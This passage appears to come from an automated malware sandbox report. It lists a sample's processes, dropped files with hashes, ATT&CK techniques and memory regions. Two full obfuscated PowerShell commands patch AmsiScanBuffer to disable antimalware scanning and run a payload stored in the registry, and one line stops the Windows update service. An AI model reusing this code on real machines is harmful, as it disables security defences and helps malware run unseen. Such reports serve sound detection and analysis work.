(108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$kTIpPblEvDHBgF).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+'im'+'e'+''+','+'M'+'a'+''+[Char](110)+''+'a'+'ged');$ZJJxWhQZoaD.DefineMethod(''+'I'+''+[Char](110)+'vok'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+'Si'+[Char](103)+',N'+[Char](101)+'w'+[Char](83)+'l'+'o'+''+[Char](116)+''+','+''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$UhQWhhCuII,$kTIpPblEvDHBgF).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+''+'M'+'a'+[Char](110)+'a'+'g'+''+'e'+'d');Write-Output $ZJJxWhQZoaD.CreateType();}$fvfLcmLHtiWvX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+'m'+''+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+'s'+[Char](111)+''+'f'+''+'t'+''+'.'+''+[Char](87)+'in'+[Char](51)+'2'+[Char](46)+''+'U'+'n'+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+'f'+''+[Char](118)+''+'f'+''+'L'+'c'+[Char](109)+'L'+[Char](72)+''+'t'+'i'+[Char](87)+''+'v'+''+[Char](88)+'');$lKeVKSkmSBHRdx=$fvfLcmLHtiWvX.GetMethod(''+[Char](108)+'K'+'e'+''+[Char](86)+''+[Char](75)+'Sk'+[Char](109)+''+'S'+''+'B'+'H'+[Char](82)+''+[Char](100)+'x',[Reflection.BindingFlags]'P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'S'+[Char](116)+'at'+'i'+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gMYqlqcksRCOVEyAwHd=fYzqdUOLUGWK @([String])([IntPtr]);$SjAaJUdTBrSpEAuWluwjPb=fYzqdUOLUGWK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$yhjTITmNuKY=$fvfLcmLHtiWvX.GetMethod('G'+'e'+''+'t'+''+'M'+''+[Char](111)+''+'d'+''+[Char](117)+''+'l'+''+[Char](101)+'H'+'a'+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+'.dl'+'l'+'')));$jqAoLTtVeoQLQI=$lKeVKSkmSBHRdx.Invoke($Null,@([Object]$yhjTITmNuKY,[Object](''+'L'+''+'o'+''+'a'+''+'d'+'L'+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+'yA')));$YMeDgKdkKCfbPWUOT=$lKeVKSkmSBHRdx.Invoke($Null,@([Object]$yhjTITmNuKY,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+'a'+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$sUfqIWY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jqAoLTtVeoQLQI,$gMYqlqcksRCOVEyAwHd).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+'l'+''+'l'+'');$ASGWOEwPVbsqjKcGP=$lKeVKSkmSBHRdx.Invoke($Null,@([Object]$sUfqIWY,[Object]('Ams'+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+'u'+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$xpAIlZZJPd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YMeDgKdkKCfbPWUOT,$SjAaJUdTBrSpEAuWluwjPb).Invoke($ASGWOEwPVbsqjKcGP,[uint32]8,4,[ref]$xpAIlZZJPd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$ASGWOEwPVbsqjKcGP,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YMeDgKdkKCfbPWUOT,$SjAaJUdTBrSpEAuWluwjPb).Invoke($ASGWOEwPVbsqjKcGP,[uint32]8,0x20,[ref]$xpAIlZZJPd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+'WA'+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+'lers'+'t'+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
PID:644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:neEtRJHElZaj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kNlADQJNPIAcPL,[Parameter(Position=1)][Type]$yCGogGgGdm)$wBGlSLcqrXP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+'ec'+[Char](116)+''+[Char](101)+'d'+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+'mo'+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'dul'+'e'+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+'g'+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+',P'+'u'+'b'+'l'+''+[Char](105)+'c'+','+''+[Char](83)+'e'+[Char](97)+''+'l'+''+'e'+'d'+[Char](44)+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+'ut'+'o'+''+'C'+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$wBGlSLcqrXP.DefineConstructor('RTSp'+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+'H'+''+'i'+'d'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+'g'+','+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kNlADQJNPIAcPL).SetImplementationFlags('Ru'+'n'+''+[Char](116)+''+'i'+'m'+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+'e'+'d');$wBGlSLcqrXP.DefineMethod('I'+[Char](110)+''+[Char](118)+'o'+[Char](107)+'e',''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+',H'+[Char](105)+''+'d'+'e'+'B'+'y'+'S'+''+[Char](105)+''+[Char](103)+''+','+'Ne'+'w'+'S'+'l'+''+[Char](111)+'t'+[Char](44)+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+'l',$yCGogGgGdm,$kNlADQJNPIAcPL).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+'i'+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+'ed');Write-Output $wBGlSLcqrXP.CreateType();}$CmtIpwIRryprt=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'ys'+'t'+''+[Char](101)+''+'m'+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+'cro'+'s'+'o'+[Char](102)+'t'+'.'+'W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+'n'+''+'s'+'a'+'f'+''+[Char](101)+''+'C'+'m'+[Char](116)+'I'+[Char](112)+''+'w'+''+'I'+''+[Char](82)+'r'+'y'+''+[Char](112)+'r'+[Char](116)+'');$zkxPdMtKfdSwfm=$CmtIpwIRryprt.GetMethod(''+[Char](122)+''+[Char](107)+''+[Char](120)+''+[Char](80)+''+[Char](100)+''+'M'+''+[Char](116)+''+'K'+'fd'+[Char](83)+''+[Char](119)+''+'f'+'m',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+'a'+'ti'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GvDGWiSQMEqFStjDDAM=neEtRJHElZaj @([String])([IntPtr]);$ZxiUTMkVfJVlvRVZNYJszs=neEtRJHElZaj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gEhKkpSyBcr=$CmtIpwIRryprt.GetMethod('Ge'+[Char](116)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$JajLOZUqLOsAEK=$zkxPdMtKfdSwfm.Invoke($Null,@([Object]$gEhKkpSyBcr,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+'a'+[Char](114)+'y'+'A'+'')));$xXmGLeHxXyJlwYEzu=$zkxPdMtKfdSwfm.Invoke($Null,@([Object]$gEhKkpSyBcr,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+'t')));$MWoBRAf=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JajLOZUqLOsAEK,$GvDGWiSQMEqFStjDDAM).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$NKxNgeIzlXbENomIU=$zkxPdMtKfdSwfm.Invoke($Null,@([Object]$MWoBRAf,[Object]('A'+[Char](109)+''+'s'+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+'e'+''+[Char](114)+'')));$FomDDHjhjm=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xXmGLeHxXyJlwYEzu,$ZxiUTMkVfJVlvRVZNYJszs).Invoke($NKxNgeIzlXbENomIU,[uint32]8,4,[ref]$FomDDHjhjm);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NKxNgeIzlXbENomIU,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xXmGLeHxXyJlwYEzu,$ZxiUTMkVfJVlvRVZNYJszs).Invoke($NKxNgeIzlXbENomIU,[uint32]8,0x20,[ref]$FomDDHjhjm);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'d'+''+'i'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
PID:1644

C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe
"C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe"
1⤵
PID:4044

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{3a31b16d-4229-4cda-9383-26776e0bf981}
1⤵
PID:2456

C:\Windows\System32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:1844

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

Scripting

T1064

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe
Filesize
3.7MB

MD5
e2fb72e358e13e40ae8327c3a9df8165

SHA1
b40aceed9393e3d4c289b2cf477dd5dee76a39da

SHA256
d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408

SHA512
b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
19KB

MD5
0ca4d90455e439166038b6b899ae0675

SHA1
85ee4e79a3a6be33db02a7812aeba5509e99fc64

SHA256
18c4c8b79d1eea466d731632f9939356375cf8823bb2d595be63a4b8d28580fe

SHA512
f94a343fad6f505b6a25e9833148ee86f872658e029212f13ce0d2432e368735b6d91c84c674387d87d0eae54b35ea08fa1a42f98dcce494fb8e17b042acd2af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
948B

MD5
a7ce8cefc3f798abe5abd683d0ef26dd

SHA1
b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e

SHA256
5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a

SHA512
c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
6539a34c74920a5c656922258c336b5f

SHA1
36a74be3126b4aa0deef6e094d6199b8f5056645

SHA256
5427dfb4d22bef830b6f6b395b51489a791db48865572adfcb2f8c752293aae7

SHA512
bceb8b61e27e0b710d144005ea93419a8299c70d87188cd8a40253fac32f0a297008f333a1576fa357c5442a395429865a327db8471e048c19f0a0de3b712615

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Filesize
2.7MB

MD5
43a0526a928f9daca9c953221406af8e

SHA1
34fdd0d94ecfe8c887ebb164068579013d2c611b

SHA256
88e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986

SHA512
9632a96172d6db2d7b0e356a2bb661b397b3c8b380fbe151707322d204cee0ab82abbec4476ce6e43f5dfa67b9ae34d77909fbc966d431898b25dec9fbaea3fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Filesize
2.7MB

MD5
43a0526a928f9daca9c953221406af8e

SHA1
34fdd0d94ecfe8c887ebb164068579013d2c611b

SHA256
88e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986

SHA512
9632a96172d6db2d7b0e356a2bb661b397b3c8b380fbe151707322d204cee0ab82abbec4476ce6e43f5dfa67b9ae34d77909fbc966d431898b25dec9fbaea3fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Filesize
3.7MB

MD5
e2fb72e358e13e40ae8327c3a9df8165

SHA1
b40aceed9393e3d4c289b2cf477dd5dee76a39da

SHA256
d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408

SHA512
b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Filesize
3.7MB

MD5
e2fb72e358e13e40ae8327c3a9df8165

SHA1
b40aceed9393e3d4c289b2cf477dd5dee76a39da

SHA256
d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408

SHA512
b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe
Filesize
248KB

MD5
18ec6f65d276ea2173b26e7ca013190e

SHA1
f24d95a1069ccbde30ece236d72c7553689c890b

SHA256
5d5e9a03a29d4e638a175b889a5bb73fbcb0809ac83aa6966324fe86ac408d17

SHA512
33e2c237be627d032d9b1db91aa8446b06b9526f55dffc68c8eec55aedd6a747f2231dc1a4ab730590bb1a4407136b78ff6fa472643078b03dc665f781e31573

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe
Filesize
248KB

MD5
18ec6f65d276ea2173b26e7ca013190e

SHA1
f24d95a1069ccbde30ece236d72c7553689c890b

SHA256
5d5e9a03a29d4e638a175b889a5bb73fbcb0809ac83aa6966324fe86ac408d17

SHA512
33e2c237be627d032d9b1db91aa8446b06b9526f55dffc68c8eec55aedd6a747f2231dc1a4ab730590bb1a4407136b78ff6fa472643078b03dc665f781e31573

Download Submit
memory/624-245-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

Filesize
64KB

Download
memory/632-204-0x0000000000000000-mapping.dmp

Download
memory/1104-196-0x0000000000000000-mapping.dmp

Download
memory/1408-201-0x0000000000000000-mapping.dmp

Download
memory/1444-175-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1444-174-0x0000000000000000-mapping.dmp

Download
memory/1444-221-0x00000000071D0000-0x0000000007392000-memory.dmp

Filesize
1.8MB

Download
memory/1444-185-0x0000000005420000-0x000000000545C000-memory.dmp

Filesize
240KB

Download
memory/1444-211-0x00000000062C0000-0x0000000006336000-memory.dmp

Filesize
472KB

Download
memory/1444-224-0x00000000078D0000-0x0000000007DFC000-memory.dmp

Filesize
5.2MB

Download
memory/1444-184-0x00000000054F0000-0x00000000055FA000-memory.dmp

Filesize
1.0MB

Download
memory/1444-227-0x0000000007000000-0x0000000007050000-memory.dmp

Filesize
320KB

Download
memory/1444-215-0x0000000006700000-0x000000000671E000-memory.dmp

Filesize
120KB

Download
memory/1444-183-0x00000000053C0000-0x00000000053D2000-memory.dmp

Filesize
72KB

Download
memory/1444-182-0x0000000005920000-0x0000000005F38000-memory.dmp

Filesize
6.1MB

Download
memory/1532-195-0x0000000000000000-mapping.dmp

Download
memory/1644-229-0x00007FFC36130000-0x00007FFC36325000-memory.dmp

Filesize
2.0MB

Download
memory/1644-214-0x00007FFC17580000-0x00007FFC18041000-memory.dmp

Filesize
10.8MB

Download
memory/1644-236-0x00007FFC35350000-0x00007FFC3540E000-memory.dmp

Filesize
760KB

Download
memory/1644-230-0x00007FFC35350000-0x00007FFC3540E000-memory.dmp

Filesize
760KB

Download
memory/1644-238-0x00007FFC36130000-0x00007FFC36325000-memory.dmp

Filesize
2.0MB

Download
memory/1716-210-0x0000000000000000-mapping.dmp

Download
memory/1740-207-0x00007FF62A6E1938-mapping.dmp

Download
memory/1844-240-0x0000000000000000-mapping.dmp

Download
memory/1884-209-0x00007FFC17580000-0x00007FFC18041000-memory.dmp

Filesize
10.8MB

Download
memory/1884-212-0x00007FFC17580000-0x00007FFC18041000-memory.dmp

Filesize
10.8MB

Download
memory/2456-232-0x0000000140002314-mapping.dmp

Download
memory/2456-239-0x00007FFC35350000-0x00007FFC3540E000-memory.dmp

Filesize
760KB

Download
memory/2456-237-0x00007FFC36130000-0x00007FFC36325000-memory.dmp

Filesize
2.0MB

Download
memory/2456-231-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/2456-241-0x00007FFC36130000-0x00007FFC36325000-memory.dmp

Filesize
2.0MB

Download
memory/2456-235-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/2468-242-0x0000000000000000-mapping.dmp

Download
memory/2512-198-0x0000000000000000-mapping.dmp

Download
memory/2768-243-0x0000000000000000-mapping.dmp

Download
memory/2932-173-0x0000000005AA0000-0x0000000005AAA000-memory.dmp

Filesize
40KB

Download
memory/2932-166-0x0000000000A20000-0x0000000000CD4000-memory.dmp

Filesize
2.7MB

Download
memory/2932-160-0x0000000000000000-mapping.dmp

Download
memory/2932-170-0x00000000055A0000-0x0000000005632000-memory.dmp

Filesize
584KB

Download
memory/2960-193-0x0000000000000000-mapping.dmp

Download
memory/3008-140-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3008-133-0x0000000000000000-mapping.dmp

Download
memory/3008-134-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3392-192-0x00007FFC174D0000-0x00007FFC17F91000-memory.dmp

Filesize
10.8MB

Download
memory/3392-205-0x00007FFC174D0000-0x00007FFC17F91000-memory.dmp

Filesize
10.8MB

Download
memory/3476-171-0x0000000000000000-mapping.dmp

Download
memory/3572-197-0x0000000000000000-mapping.dmp

Download
memory/3620-181-0x0000000001000000-0x000000000103E000-memory.dmp

Filesize
248KB

Download
memory/3620-177-0x0000000001000000-0x000000000103E000-memory.dmp

Filesize
248KB

Download
memory/3620-163-0x0000000000000000-mapping.dmp

Download
memory/3856-202-0x0000000000000000-mapping.dmp

Download
memory/3924-186-0x0000000002243000-0x0000000002747000-memory.dmp

Filesize
5.0MB

Download
memory/3924-200-0x000000000275B000-0x0000000002898000-memory.dmp

Filesize
1.2MB

Download
memory/3924-165-0x0000000000000000-mapping.dmp

Download
memory/3924-222-0x0000000002243000-0x0000000002747000-memory.dmp

Filesize
5.0MB

Download
memory/4204-244-0x0000000000000000-mapping.dmp

Download
memory/4284-132-0x0000000000000000-mapping.dmp

Download
memory/4284-199-0x0000000000000000-mapping.dmp

Download
memory/4808-203-0x0000000000000000-mapping.dmp

Download
memory/4892-218-0x00007FFC17580000-0x00007FFC18041000-memory.dmp

Filesize
10.8MB

Download
memory/4892-223-0x000001D2DB1B0000-0x000001D2DB1CA000-memory.dmp

Filesize
104KB

Download
memory/4892-234-0x00007FFC17580000-0x00007FFC18041000-memory.dmp

Filesize
10.8MB

Download
memory/4892-216-0x000001D2DB120000-0x000001D2DB13C000-memory.dmp

Filesize
112KB

Download
memory/4892-217-0x000001D2DB140000-0x000001D2DB14A000-memory.dmp

Filesize
40KB

Download
memory/4892-228-0x000001D2DB1A0000-0x000001D2DB1AA000-memory.dmp

Filesize
40KB

Download
memory/4892-219-0x000001D2DB170000-0x000001D2DB18C000-memory.dmp

Filesize
112KB

Download
memory/4892-220-0x000001D2DB150000-0x000001D2DB15A000-memory.dmp

Filesize
40KB

Download
memory/4892-226-0x000001D2DB190000-0x000001D2DB196000-memory.dmp

Filesize
24KB

Download
memory/4892-225-0x000001D2DB160000-0x000001D2DB168000-memory.dmp

Filesize
32KB

Download
memory/4924-154-0x00000000077A0000-0x0000000007836000-memory.dmp

Filesize
600KB

Download
memory/4924-147-0x00000000061B0000-0x00000000061CE000-memory.dmp

Filesize
120KB

Download
memory/4924-158-0x0000000007870000-0x0000000007892000-memory.dmp

Filesize
136KB

Download
memory/4924-156-0x0000000007760000-0x000000000777A000-memory.dmp

Filesize
104KB

Download
memory/4924-152-0x00000000074E0000-0x00000000074FA000-memory.dmp

Filesize
104KB

Download
memory/4924-157-0x0000000007750000-0x0000000007758000-memory.dmp

Filesize
32KB

Download
memory/4924-151-0x0000000007B40000-0x00000000081BA000-memory.dmp

Filesize
6.5MB

Download
memory/4924-150-0x0000000006760000-0x000000000677E000-memory.dmp

Filesize
120KB

Download
memory/4924-155-0x0000000007710000-0x000000000771E000-memory.dmp

Filesize
56KB

Download
memory/4924-149-0x00000000758E0000-0x000000007592C000-memory.dmp

Filesize
304KB

Download
memory/4924-148-0x00000000071D0000-0x0000000007202000-memory.dmp

Filesize
200KB

Download
memory/4924-153-0x0000000007550000-0x000000000755A000-memory.dmp

Filesize
40KB

Download
memory/4924-146-0x0000000005B80000-0x0000000005BE6000-memory.dmp

Filesize
408KB

Download
memory/4924-145-0x0000000005AA0000-0x0000000005B06000-memory.dmp

Filesize
408KB

Download
memory/4924-144-0x0000000005210000-0x0000000005232000-memory.dmp

Filesize
136KB

Download
memory/4924-143-0x0000000005300000-0x0000000005928000-memory.dmp

Filesize
6.2MB

Download
memory/4924-159-0x0000000008770000-0x0000000008D14000-memory.dmp

Filesize
5.6MB

Download
memory/4924-142-0x0000000002BD0000-0x0000000002C06000-memory.dmp

Filesize
216KB

Download
memory/4924-141-0x0000000000000000-mapping.dmp

Download
memory/4960-187-0x0000017CD74D0000-0x0000017CD74F2000-memory.dmp

Filesize
136KB

Download
memory/4960-189-0x00007FFC174F0000-0x00007FFC17FB1000-memory.dmp

Filesize
10.8MB

Download
memory/4960-190-0x00007FFC174F0000-0x00007FFC17FB1000-memory.dmp

Filesize
10.8MB

Download